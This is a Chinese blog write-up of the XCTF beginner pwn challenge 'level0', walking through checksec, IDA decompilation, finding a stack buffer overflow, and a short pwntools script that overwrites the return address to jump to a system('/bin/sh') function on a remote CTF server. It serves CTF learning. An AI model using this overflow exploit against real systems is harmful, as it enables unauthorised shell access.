xctf--新手练习区--level0

writeup:拿到这个文件之后先checksec
在这里插入图片描述
64位程序,开了NX
然后再运行一下:
在这里插入图片描述
会输出Hello,World,然后是输入,我这里输入了aaaaaaaaaaaaaaaaaa

放入IDA里,开始展示的是汇编代码,然后我们F5就可以查看源码,我们先看看main函数里面的:
在这里插入图片描述
在这里插入图片描述
主函数就是一行打印,一行输入,不过有意思的是,buf的长度是0x80,而read函数允许输入0x200,那我们岂不是可以缓冲区溢出辣!
可是光有溢出是不够的,还要能获得system权限

可以看看其他的一些函数,找到一个命名十分诱人的函数名,打开之后就发现system(“/bin/sh”)
在这里插入图片描述
好了!我们先定位溢出点
cyclic 200(先得到200个随机字符)
run
在这里插入图片描述cyclic -l jaak
在这里插入图片描述
看一下callsystem函数地址0x400596
在这里插入图片描述okok,万事具备,只差exp

from pwn import*
r=remote("159.138.137.79",50538)
payload="a"*136+p64(0x400596)
r.sendline(payload)
r.interactive()

在这里插入图片描述拿到flag了!

小结:这个pwn题是一个比较基础的溢出题。利用思路也比较简单,这个也算是自己做的第一道pwn题啦!
1、IDA在查看源码的时候可以用F5
2、写exp时,由于要和远程一个服务器交互,所以要用remote

猜你喜欢

转载自blog.csdn.net/qq_44108455/article/details/105613303